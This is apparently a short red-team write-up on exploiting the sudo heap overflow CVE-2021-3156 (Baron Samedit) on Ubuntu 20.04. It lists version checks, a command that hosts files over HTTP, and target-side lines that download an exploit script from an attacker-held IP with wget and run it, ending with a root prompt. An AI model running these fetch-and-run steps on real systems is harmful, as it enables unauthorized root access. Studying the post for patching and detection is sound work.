👑 CVE-2021-3156 (Baron Samedit) — Privilege Escalation via Heap Overflow in sudo

📅 Date: 2025-06-08
✍️ Author: @TopskiyPavelQwertyGang 🧠 Security Researcher | Red Team Enthusiast

🧠 CVE Overview

• CVE-ID: CVE-2021-3156
• Type: Heap-based Buffer Overflow
• Component: sudoedit (sudo)
• Access Level: Local
• Goal: Gaining root privileges

🧠 Description

Heap overflow in sudoedit allows a local user to gain root access
when executing the sudoedit command with specially crafted parameters.

Exploitation is active for sudo versions < 1.9.5p2, including popular Ubuntu/Debian/CentOS images.
Even with ASLR enabled, the vulnerability remains exploitable.

🐾 Exploitation Conditions

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (уязвим)
ASLR   : 2 (включён)

🧪 Environment Preparation

1. Checked versions of glibc and sudo:

ldd --version
sudo --version

2. Transferred PoC scripts from another machine via built-in HTTP server:

python3 -m http.server 80

3. On the target machine, PoC is downloaded and executed:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Successful PoC Exploitation

$ python3 exploit_nss.py
# whoami
root

🧾 Conclusion

Exploitation of CVE-2021-3156 remains possible even with active ASLR, if glibc ≥ 2.26 and sudo is a vulnerable version.
The most stable exploit turned out to be exploit_nss.py, which triggers on the first attempt with a correct NSS configuration.

🧨 System under control.